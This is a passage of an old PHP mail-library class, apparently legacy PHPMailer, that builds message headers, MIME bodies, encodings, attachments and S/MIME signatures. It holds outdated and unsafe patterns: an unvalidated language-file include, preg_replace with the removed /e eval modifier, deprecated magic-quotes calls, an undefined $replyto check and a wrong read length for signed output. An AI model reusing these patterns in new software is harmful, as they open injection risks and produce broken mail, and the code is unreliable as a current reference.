2073
2074 /**
2075 * Sets the language for all class error messages. Returns false
2076 * if it cannot load the language file. The default language type
2077 * is English.
2078 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2079 * @param string $lang_path Path to the language file directory
2080 * @access public
2081 * @return bool
2082 */
2083 function SetLanguage($lang_type, $lang_path = 'language/') {
2084 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2085 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2086 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2087 include($lang_path.'phpmailer.lang-en.php');
2088 } else {
2089 $this->SetError('Could not load language file');
2090 return false;
2091 }
2092 $this->language = $PHPMAILER_LANG;
2093
2094 return true;
2095 }
2096
2097 /////////////////////////////////////////////////
2098 // METHODS, MESSAGE CREATION
2099 /////////////////////////////////////////////////
2100
2101 /**
2102 * Creates recipient headers.
2103 * @access private
2104 * @return string
2105 */
2106 function AddrAppend($type, $addr) {
2107 $addr_str = $type . ': ';
2108 $addr_str .= $this->AddrFormat($addr[0]);
2109 if(count($addr) > 1) {
2110 for($i = 1; $i < count($addr); $i++) {
2111 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2112 }
2113 }
2114 $addr_str .= $this->LE;
2115
2116 return $addr_str;
2117 }
2118
2119 /**
2120 * Formats an address correctly.
2121 * @access private
2122 * @return string
2123 */
2124 function AddrFormat($addr) {
2125 if(empty($addr[1])) {
2126 $formatted = $this->SecureHeader($addr[0]);
2127 } else {
2128 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2129 }
2130
2131 return $formatted;
2132 }
2133
2134 /**
2135 * Wraps message for use with mailers that do not
2136 * automatically perform wrapping and for quoted-printable.
2137 * Original written by philippe.
2138 * @access private
2139 * @return string
2140 */
2141 function WrapText($message, $length, $qp_mode = false) {
2142 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2143 // If utf-8 encoding is used, we will need to make sure we don't
2144 // split multibyte characters when we wrap
2145 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2146
2147 $message = $this->FixEOL($message);
2148 if (substr($message, -1) == $this->LE) {
2149 $message = substr($message, 0, -1);
2150 }
2151
2152 $line = explode($this->LE, $message);
2153 $message = '';
2154 for ($i=0 ;$i < count($line); $i++) {
2155 $line_part = explode(' ', $line[$i]);
2156 $buf = '';
2157 for ($e = 0; $e<count($line_part); $e++) {
2158 $word = $line_part[$e];
2159 if ($qp_mode and (strlen($word) > $length)) {
2160 $space_left = $length - strlen($buf) - 1;
2161 if ($e != 0) {
2162 if ($space_left > 20) {
2163 $len = $space_left;
2164 if ($is_utf8) {
2165 $len = $this->UTF8CharBoundary($word, $len);
2166 } elseif (substr($word, $len - 1, 1) == "=") {
2167 $len--;
2168 } elseif (substr($word, $len - 2, 1) == "=") {
2169 $len -= 2;
2170 }
2171 $part = substr($word, 0, $len);
2172 $word = substr($word, $len);
2173 $buf .= ' ' . $part;
2174 $message .= $buf . sprintf("=%s", $this->LE);
2175 } else {
2176 $message .= $buf . $soft_break;
2177 }
2178 $buf = '';
2179 }
2180 while (strlen($word) > 0) {
2181 $len = $length;
2182 if ($is_utf8) {
2183 $len = $this->UTF8CharBoundary($word, $len);
2184 } elseif (substr($word, $len - 1, 1) == "=") {
2185 $len--;
2186 } elseif (substr($word, $len - 2, 1) == "=") {
2187 $len -= 2;
2188 }
2189 $part = substr($word, 0, $len);
2190 $word = substr($word, $len);
2191
2192 if (strlen($word) > 0) {
2193 $message .= $part . sprintf("=%s", $this->LE);
2194 } else {
2195 $buf = $part;
2196 }
2197 }
2198 } else {
2199 $buf_o = $buf;
2200 $buf .= ($e == 0) ? $word : (' ' . $word);
2201
2202 if (strlen($buf) > $length and $buf_o != '') {
2203 $message .= $buf_o . $soft_break;
2204 $buf = $word;
2205 }
2206 }
2207 }
2208 $message .= $buf . $this->LE;
2209 }
2210
2211 return $message;
2212 }
2213
2214 /**
2215 * Finds last character boundary prior to maxLength in a utf-8
2216 * quoted (printable) encoded string.
2217 * Original written by Colin Brown.
2218 * @access private
2219 * @param string $encodedText utf-8 QP text
2220 * @param int $maxLength find last character boundary prior to this length
2221 * @return int
2222 */
2223 function UTF8CharBoundary($encodedText, $maxLength) {
2224 $foundSplitPos = false;
2225 $lookBack = 3;
2226 while (!$foundSplitPos) {
2227 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2228 $encodedCharPos = strpos($lastChunk, "=");
2229 if ($encodedCharPos !== false) {
2230 // Found start of encoded character byte within $lookBack block.
2231 // Check the encoded byte value (the 2 chars after the '=')
2232 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2233 $dec = hexdec($hex);
2234 if ($dec < 128) { // Single byte character.
2235 // If the encoded char was found at pos 0, it will fit
2236 // otherwise reduce maxLength to start of the encoded char
2237 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2238 $maxLength - ($lookBack - $encodedCharPos);
2239 $foundSplitPos = true;
2240 } elseif ($dec >= 192) { // First byte of a multi byte character
2241 // Reduce maxLength to split at start of character
2242 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2243 $foundSplitPos = true;
2244 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2245 $lookBack += 3;
2246 }
2247 } else {
2248 // No encoded character found
2249 $foundSplitPos = true;
2250 }
2251 }
2252 return $maxLength;
2253 }
2254
2255 /**
2256 * Set the body wrapping.
2257 * @access private
2258 * @return void
2259 */
2260 function SetWordWrap() {
2261 if($this->WordWrap < 1) {
2262 return;
2263 }
2264
2265 switch($this->message_type) {
2266 case 'alt':
2267 /* fall through */
2268 case 'alt_attachments':
2269 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2270 break;
2271 default:
2272 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2273 break;
2274 }
2275 }
2276
2277 /**
2278 * Assembles message header.
2279 * @access private
2280 * @return string
2281 */
2282 function CreateHeader() {
2283 $result = '';
2284
2285 /* Set the boundaries */
2286 $uniq_id = md5(uniqid(time()));
2287 $this->boundary[1] = 'b1_' . $uniq_id;
2288 $this->boundary[2] = 'b2_' . $uniq_id;
2289
2290 $result .= $this->HeaderLine('Date', $this->RFCDate());
2291 if($this->Sender == '') {
2292 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2293 } else {
2294 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2295 }
2296
2297 /* To be created automatically by mail() */
2298 if($this->Mailer != 'mail') {
2299 if(count($this->to) > 0) {
2300 $result .= $this->AddrAppend('To', $this->to);
2301 } elseif (count($this->cc) == 0) {
2302 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2303 }
2304 if(count($this->cc) > 0) {
2305 $result .= $this->AddrAppend('Cc', $this->cc);
2306 }
2307 }
2308
2309 $from = array();
2310 $from[0][0] = trim($this->From);
2311 $from[0][1] = $this->FromName;
2312 $result .= $this->AddrAppend('From', $from);
2313
2314 /* sendmail and mail() extract Cc from the header before sending */
2315 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2316 $result .= $this->AddrAppend('Cc', $this->cc);
2317 }
2318
2319 /* sendmail and mail() extract Bcc from the header before sending */
2320 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2321 $result .= $this->AddrAppend('Bcc', $this->bcc);
2322 }
2323 if($replyto != "")
2324 {
2325 if(count($this->ReplyTo) > 0) {
2326 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2327 }
2328 }
2329 /* mail() sets the subject itself */
2330 if($this->Mailer != 'mail') {
2331 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2332 }
2333
2334 if($this->MessageID != '') {
2335 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2336 } else {
2337 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2338 }
2339 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2340 if($this->ConfirmReadingTo != '') {
2341 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2342 }
2343
2344 // Add custom headers
2345 for($index = 0; $index < count($this->CustomHeader); $index++) {
2346 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2347 }
2348 if (!$this->sign_key_file) {
2349 $result .= $this->HeaderLine('MIME-Version', '1.0');
2350 $result .= $this->GetMailMIME();
2351 }
2352
2353 return $result;
2354 }
2355
2356 /**
2357 * Returns the message MIME.
2358 * @access private
2359 * @return string
2360 */
2361 function GetMailMIME() {
2362 $result = '';
2363 switch($this->message_type) {
2364 case 'plain':
2365 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2366 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2367 break;
2368 case 'attachments':
2369 /* fall through */
2370 case 'alt_attachments':
2371 if($this->InlineImageExists()){
2372 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2373 } else {
2374 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2375 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2376 }
2377 break;
2378 case 'alt':
2379 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2380 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2381 break;
2382 }
2383
2384 if($this->Mailer != 'mail') {
2385 $result .= $this->LE.$this->LE;
2386 }
2387
2388 return $result;
2389 }
2390
2391 /**
2392 * Assembles the message body. Returns an empty string on failure.
2393 * @access private
2394 * @return string
2395 */
2396 function CreateBody() {
2397 $result = '';
2398 if ($this->sign_key_file) {
2399 $result .= $this->GetMailMIME();
2400 }
2401
2402 $this->SetWordWrap();
2403
2404 switch($this->message_type) {
2405 case 'alt':
2406 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2407 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2408 $result .= $this->LE.$this->LE;
2409 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2410 $result .= $this->EncodeString($this->Body, $this->Encoding);
2411 $result .= $this->LE.$this->LE;
2412 $result .= $this->EndBoundary($this->boundary[1]);
2413 break;
2414 case 'plain':
2415 $result .= $this->EncodeString($this->Body, $this->Encoding);
2416 break;
2417 case 'attachments':
2418 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2419 $result .= $this->EncodeString($this->Body, $this->Encoding);
2420 $result .= $this->LE;
2421 $result .= $this->AttachAll();
2422 break;
2423 case 'alt_attachments':
2424 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2425 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2426 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2427 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2428 $result .= $this->LE.$this->LE;
2429 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2430 $result .= $this->EncodeString($this->Body, $this->Encoding);
2431 $result .= $this->LE.$this->LE;
2432 $result .= $this->EndBoundary($this->boundary[2]);
2433 $result .= $this->AttachAll();
2434 break;
2435 }
2436
2437 if($this->IsError()) {
2438 $result = '';
2439 } else if ($this->sign_key_file) {
2440 $file = tempnam("", "mail");
2441 $fp = fopen($file, "w");
2442 fwrite($fp, $result);
2443 fclose($fp);
2444 $signed = tempnam("", "signed");
2445
2446 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2447 $fp = fopen($signed, "r");
2448 $result = fread($fp, filesize($this->sign_key_file));
2449 fclose($fp);
2450 } else {
2451 $this->SetError($this->Lang("signing").openssl_error_string());
2452 $result = '';
2453 }
2454
2455 unlink($file);
2456 unlink($signed);
2457 }
2458
2459 return $result;
2460 }
2461
2462 /**
2463 * Returns the start of a message boundary.
2464 * @access private
2465 */
2466 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2467 $result = '';
2468 if($charSet == '') {
2469 $charSet = $this->CharSet;
2470 }
2471 if($contentType == '') {
2472 $contentType = $this->ContentType;
2473 }
2474 if($encoding == '') {
2475 $encoding = $this->Encoding;
2476 }
2477 $result .= $this->TextLine('--' . $boundary);
2478 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2479 $result .= $this->LE;
2480 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2481 $result .= $this->LE;
2482
2483 return $result;
2484 }
2485
2486 /**
2487 * Returns the end of a message boundary.
2488 * @access private
2489 */
2490 function EndBoundary($boundary) {
2491 return $this->LE . '--' . $boundary . '--' . $this->LE;
2492 }
2493
2494 /**
2495 * Sets the message type.
2496 * @access private
2497 * @return void
2498 */
2499 function SetMessageType() {
2500 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2501 $this->message_type = 'plain';
2502 } else {
2503 if(count($this->attachment) > 0) {
2504 $this->message_type = 'attachments';
2505 }
2506 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2507 $this->message_type = 'alt';
2508 }
2509 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2510 $this->message_type = 'alt_attachments';
2511 }
2512 }
2513 }
2514
2515 /* Returns a formatted header line.
2516 * @access private
2517 * @return string
2518 */
2519 function HeaderLine($name, $value) {
2520 return $name . ': ' . $value . $this->LE;
2521 }
2522
2523 /**
2524 * Returns a formatted mail line.
2525 * @access private
2526 * @return string
2527 */
2528 function TextLine($value) {
2529 return $value . $this->LE;
2530 }
2531
2532 /////////////////////////////////////////////////
2533 // CLASS METHODS, ATTACHMENTS
2534 /////////////////////////////////////////////////
2535
2536 /**
2537 * Adds an attachment from a path on the filesystem.
2538 * Returns false if the file could not be found
2539 * or accessed.
2540 * @param string $path Path to the attachment.
2541 * @param string $name Overrides the attachment name.
2542 * @param string $encoding File encoding (see $Encoding).
2543 * @param string $type File extension (MIME) type.
2544 * @return bool
2545 */
2546 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2547 if(!@is_file($path)) {
2548 $this->SetError($this->Lang('file_access') . $path);
2549 return false;
2550 }
2551
2552 $filename = basename($path);
2553 if($name == '') {
2554 $name = $filename;
2555 }
2556
2557 $cur = count($this->attachment);
2558 $this->attachment[$cur][0] = $path;
2559 $this->attachment[$cur][1] = $filename;
2560 $this->attachment[$cur][2] = $name;
2561 $this->attachment[$cur][3] = $encoding;
2562 $this->attachment[$cur][4] = $type;
2563 $this->attachment[$cur][5] = false; // isStringAttachment
2564 $this->attachment[$cur][6] = 'attachment';
2565 $this->attachment[$cur][7] = 0;
2566
2567 return true;
2568 }
2569
2570 /**
2571 * Attaches all fs, string, and binary attachments to the message.
2572 * Returns an empty string on failure.
2573 * @access private
2574 * @return string
2575 */
2576 function AttachAll() {
2577 /* Return text of body */
2578 $mime = array();
2579
2580 /* Add all attachments */
2581 for($i = 0; $i < count($this->attachment); $i++) {
2582 /* Check for string attachment */
2583 $bString = $this->attachment[$i][5];
2584 if ($bString) {
2585 $string = $this->attachment[$i][0];
2586 } else {
2587 $path = $this->attachment[$i][0];
2588 }
2589
2590 $filename = $this->attachment[$i][1];
2591 $name = $this->attachment[$i][2];
2592 $encoding = $this->attachment[$i][3];
2593 $type = $this->attachment[$i][4];
2594 $disposition = $this->attachment[$i][6];
2595 $cid = $this->attachment[$i][7];
2596
2597 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2598 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2599 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2600
2601 if($disposition == 'inline') {
2602 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2603 }
2604
2605 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2606
2607 /* Encode as string attachment */
2608 if($bString) {
2609 $mime[] = $this->EncodeString($string, $encoding);
2610 if($this->IsError()) {
2611 return '';
2612 }
2613 $mime[] = $this->LE.$this->LE;
2614 } else {
2615 $mime[] = $this->EncodeFile($path, $encoding);
2616 if($this->IsError()) {
2617 return '';
2618 }
2619 $mime[] = $this->LE.$this->LE;
2620 }
2621 }
2622
2623 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2624
2625 return join('', $mime);
2626 }
2627
2628 /**
2629 * Encodes attachment in requested format. Returns an
2630 * empty string on failure.
2631 * @access private
2632 * @return string
2633 */
2634 function EncodeFile ($path, $encoding = 'base64') {
2635 if(!@$fd = fopen($path, 'rb')) {
2636 $this->SetError($this->Lang('file_open') . $path);
2637 return '';
2638 }
2639 $magic_quotes = get_magic_quotes_runtime();
2640 set_magic_quotes_runtime(0);
2641 $file_buffer = fread($fd, filesize($path));
2642 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2643 fclose($fd);
2644 set_magic_quotes_runtime($magic_quotes);
2645
2646 return $file_buffer;
2647 }
2648
2649 /**
2650 * Encodes string to requested format. Returns an
2651 * empty string on failure.
2652 * @access private
2653 * @return string
2654 */
2655 function EncodeString ($str, $encoding = 'base64') {
2656 $encoded = '';
2657 switch(strtolower($encoding)) {
2658 case 'base64':
2659 /* chunk_split is found in PHP >= 3.0.6 */
2660 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2661 break;
2662 case '7bit':
2663 case '8bit':
2664 $encoded = $this->FixEOL($str);
2665 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2666 $encoded .= $this->LE;
2667 break;
2668 case 'binary':
2669 $encoded = $str;
2670 break;
2671 case 'quoted-printable':
2672 $encoded = $this->EncodeQP($str);
2673 break;
2674 default:
2675 $this->SetError($this->Lang('encoding') . $encoding);
2676 break;
2677 }
2678 return $encoded;
2679 }
2680
2681 /**
2682 * Encode a header string to best of Q, B, quoted or none.
2683 * @access private
2684 * @return string
2685 */
2686 function EncodeHeader ($str, $position = 'text') {
2687 $x = 0;
2688
2689 switch (strtolower($position)) {
2690 case 'phrase':
2691 if (!preg_match('/[\200-\377]/', $str)) {
2692 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2693 $encoded = addcslashes($str, "\0..\37\177\\\"");
2694 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2695 return ($encoded);
2696 } else {
2697 return ("\"$encoded\"");
2698 }
2699 }
2700 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2701 break;
2702 case 'comment':
2703 $x = preg_match_all('/[()"]/', $str, $matches);
2704 /* Fall-through */
2705 case 'text':
2706 default:
2707 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2708 break;
2709 }
2710
2711 if ($x == 0) {
2712 return ($str);
2713 }
2714
2715 $maxlen = 75 - 7 - strlen($this->CharSet);
2716 /* Try to select the encoding which should produce the shortest output */
2717 if (strlen($str)/3 < $x) {
2718 $encoding = 'B';
2719 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2720 // Use a custom function which correctly encodes and wraps long
2721 // multibyte strings without breaking lines within a character
2722 $encoded = $this->Base64EncodeWrapMB($str);
2723 } else {
2724 $encoded = base64_encode($str);
2725 $maxlen -= $maxlen % 4;
2726 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2727 }
2728 } else {
2729 $encoding = 'Q';
2730 $encoded = $this->EncodeQ($str, $position);
2731 $encoded = $this->WrapText($encoded, $maxlen, true);
2732 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2733 }
2734
2735 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2736 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2737
2738 return $encoded;
2739 }
2740
2741 /**
2742 * Checks if a string contains multibyte characters.
2743 * @access private
2744 * @param string $str multi-byte text to wrap encode
2745 * @return bool
2746 */
2747 function HasMultiBytes($str) {
2748 if (function_exists('mb_strlen')) {
2749 return (strlen($str) > mb_strlen($str, $this->CharSet));
2750 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2751 return False;
2752 }
2753 }
2754
2755 /**
2756 * Correctly encodes and wraps long multibyte strings for mail headers
2757 * without breaking lines within a character.
2758 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2759 * @access private
2760 * @param string $str multi-byte text to wrap encode
2761 * @return string
2762 */
2763 function Base64EncodeWrapMB($str) {
2764 $start = "=?".$this->CharSet."?B?";
2765 $end = "?=";
2766 $encoded = "";
2767
2768 $mb_length = mb_strlen($str, $this->CharSet);
2769 // Each line must have length <= 75, including $start and $end
2770 $length = 75 - strlen($start) - strlen($end);
2771 // Average multi-byte ratio
2772 $ratio = $mb_length / strlen($str);
2773 // Base64 has a 4:3 ratio
2774 $offset = $avgLength = floor($length * $ratio * .75);
2775
2776 for ($i = 0; $i < $mb_length; $i += $offset) {
2777 $lookBack = 0;
2778
2779 do {
2780 $offset = $avgLength - $lookBack;
2781 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2782 $chunk = base64_encode($chunk);
2783 $lookBack++;
2784 }
2785 while (strlen($chunk) > $length);
2786
2787 $encoded .= $chunk . $this->LE;
2788 }
2789
2790 // Chomp the last linefeed
2791 $encoded = substr($encoded, 0, -strlen($this->LE));
2792 return $encoded;
2793 }
2794
2795 /**
2796 * Encode string to quoted-printable.
2797 * @access private
2798 * @return string
2799 */
2800 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2801 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2802 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2803 $eol = "\r\n";
2804 $escape = '=';
2805 $output = '';
2806 while( list(, $line) = each($lines) ) {
2807 $linlen = strlen($line);
2808 $newline = '';
2809 for($i = 0; $i < $linlen; $i++) {
2810 $c = substr( $line, $i, 1 );
2811 $dec = ord( $c );
2812 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2813 $c = '=2E';
2814 }
2815 if ( $dec == 32 ) {
2816 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2817 $c = '=20';
2818 } else if ( $space_conv ) {
2819 $c = '=20';
2820 }
2821 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2822 $h2 = floor($dec/16);
2823 $h1 = floor($dec%16);
2824 $c = $escape.$hex[$h2].$hex[$h1];
2825 }
2826 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2827 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2828 $newline = '';
2829 // check if newline first character will be point or not
2830 if ( $dec == 46 ) {
2831 $c = '=2E';
2832 }
2833 }
2834 $newline .= $c;
2835 } // end of for
2836 $output .= $newline.$eol;
2837 } // end of while
2838 return trim($output);
2839 }
2840
2841 /**
2842 * Encode string to q encoding.
2843 * @access private
2844 * @return string
2845 */
2846 function EncodeQ ($str, $position = 'text') {
2847 /* There should not be any EOL in the string */
2848 $encoded = preg_replace("[\r\n]", '', $str);
2849
2850 switch (strtolower($position)) {
2851 case 'phrase':
2852 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2853 break;
2854 case 'comment':
2855 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2856 case 'text':
2857 default:
2858 /* Replace every high ascii, control =, ? and _ characters */
2859 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2860 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2861 break;
2862 }
2863
2864 /* Replace every spaces to _ (more readable than =20) */
2865 $encoded = str_replace(' ', '_', $encoded);
2866
2867 return $encoded;
2868 }
2869
2870 /**
2871 * Adds a string or binary attachment (non-filesystem) to the list.
2872 * This method can be used to attach ascii or binary data,
2873 * such as a BLOB record from a database.
2874 * @param string $string String attachment data.
2875 * @param string $filename Name of the attachment.
2876 * @param string $encoding File encoding (see $Encoding).
2877 * @param string $type File extension (MIME) type.
2878 * @return void
2879 */
2880 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2881 /* Append to $attachment array */
2882 $cur = count($this->attachment);
2883 $this->attachment[$cur][0] = $string;
2884 $this->attachment[$cur][1] = $filename;
2885 $this->attachment[$cur][2] = $filename;
2886 $this->attachment[$cur][3] = $encoding;
2887 $this->attachment[$cur][4] = $type;
2888 $this->attachment[$cur][5] = true; // isString
2889 $this->attachment[$cur][6] = 'attachment';
2890 $this->attachment[$cur][7] = 0;
2891 }
2892
2893 /**
2894 * Adds an embedded attachment. This can include images, sounds, and
2895 * just about any other document. Make sure to set the $type to an
2896 * image type. For JPEG images use "image/jpeg" and for GIF images
2897 * use "image/gif".
2898 * @param string $path Path to the attachment.
2899 * @param string $cid Content ID of the attachment. Use this to identify
2900 * the Id for accessing the image in an HTML form.
2901 * @param string $name Overrides the attachment name.
2902 * @param string $encoding File encoding (see $Encoding).
2903 * @param string $type File extension (MIME) type.
2904 * @return bool
2905 */
2906 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2907
2908 if(!@is_file($path)) {
2909 $this->SetError($this->Lang('file_access') . $path);
2910 return false;
2911 }
2912
2913 $filename = basename($path);
2914 if($name == '') {
2915 $name = $filename;
2916 }
2917
2918 /* Append to $attachment array */
2919 $cur = count($this->attachment);
2920 $this->attachment[$cur][0] = $path;
2921 $this->attachment[$cur][1] = $filename;
2922 $this->attachment[$cur][2] = $name;
2923 $this->attachment[$cur][3] = $encoding;
2924 $this->attachment[$cur][4] = $type;
2925 $this->attachment[$cur][5] = false;
2926 $this->attachment[$cur][6] = 'inline';
2927 $this->attachment[$cur][7] = $cid;
2928
2929 return true;
2930 }
2931
2932 /**
2933 * Returns true if an inline attachment is present.
2934 * @access private
2935 * @return bool
2936 */
2937 function InlineImageExists() {
2938 $result = false;
2939 for($i = 0; $i < count($this->attachment); $i++) {
2940 if($this->attachment[$i][6] == 'inline') {
2941 $result = true;
2942 break;
2943 }
2944 }
2945
2946 return $result;
2947 }
2948
2949 /////////////////////////////////////////////////
2950 // CLASS METHODS, MESSAGE RESET
2951 /////////////////////////////////////////////////
2952
2953 /**
2954 * Clears all recipients assigned in the TO array. Returns void.
2955 * @return void
2956 */
2957 function ClearAddresses() {
2958 $this->to = array();
2959 }
2960
2961 /**
2962 * Clears all recipients assigned in the CC array. Returns void.
2963 * @return void
2964 */
2965 function ClearCCs() {
2966 $this->cc = array();
2967 }
2968
2969 /**
2970 * Clears all recipients assigned in the BCC array. Returns void.
2971 * @return void
2972 */
2973 function ClearBCCs() {
2974 $this->bcc = array();
2975 }
2976
2977 /**
2978 * Clears all recipients assigned in the ReplyTo array. Returns void.
2979 * @return void
2980 */
2981 function ClearReplyTos() {
2982 $this->ReplyTo = array();
2983 }
2984
2985 /**
2986 * Clears all recipients assigned in the TO, CC and BCC
2987 * array. Returns void.
2988 * @return void
2989 */
2990 function ClearAllRecipients() {
2991 $this->to = array();
2992 $this->cc = array();
2993 $this->bcc = array();
2994 }
2995
2996 /**
2997 * Clears all previously set filesystem, string, and binary
2998 * attachments. Returns void.
2999 * @return void
3000 */
3001 function ClearAttachments() {
3002 $this->attachment = array();
3003 }
3004
3005 /**
3006 * Clears all custom headers. Returns void.
3007 * @return void
3008 */
3009 function ClearCustomHeaders() {
3010 $this->CustomHeader = array();
3011 }
3012
3013 /////////////////////////////////////////////////
3014 // CLASS METHODS, MISCELLANEOUS
3015 /////////////////////////////////////////////////
3016
3017 /**
3018 * Adds the error message to the error container.
3019 * Returns void.
3020 * @access private
3021 * @return void
3022 */
3023 function SetError($msg) {
3024 $this->error_count++;
3025 $this->ErrorInfo = $msg;
3026 }
3027
3028 /**
3029 * Returns the proper RFC 822 formatted date.
3030 * @access private
3031 * @return string
3032 */
3033 function RFCDate() {
3034 $tz = date('Z');
3035 $tzs = ($tz < 0) ? '-' : '+';
3036 $tz = abs($tz);
3037 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3038 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3039
3040 return $result;
3041 }
3042
3043 /**
3044 * Returns the appropriate server variable. Should work with both
3045 * PHP 4.1.0+ as well as older versions. Returns an empty string
3046 * if nothing is found.
3047 * @access private
3048 * @return mixed
3049 */
3050 function ServerVar($varName) {
3051 global $HTTP_SERVER_VARS;
3052 global $HTTP_ENV_VARS;
3053
3054 if(!isset($_SERVER)) {
3055 $_SERVER = $HTTP_SERVER_VARS;
3056 if(!isset($_SERVER['REMOTE_ADDR'])) {
3057 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3058 }
3059 }
3060
3061 if(isset($_SERVER[$varName])) {
3062 return $_SERVER[$varName];
3063 } else {
3064 return '';
3065 }
3066 }
3067
3068 /**
3069 * Returns the server hostname or 'localhost.localdomain' if unknown.
3070 * @access private
3071 * @return string
3072 */
3073 function ServerHostname() {
3074 if ($this->Hostname != '') {
3075 $result = $this->Hostname;
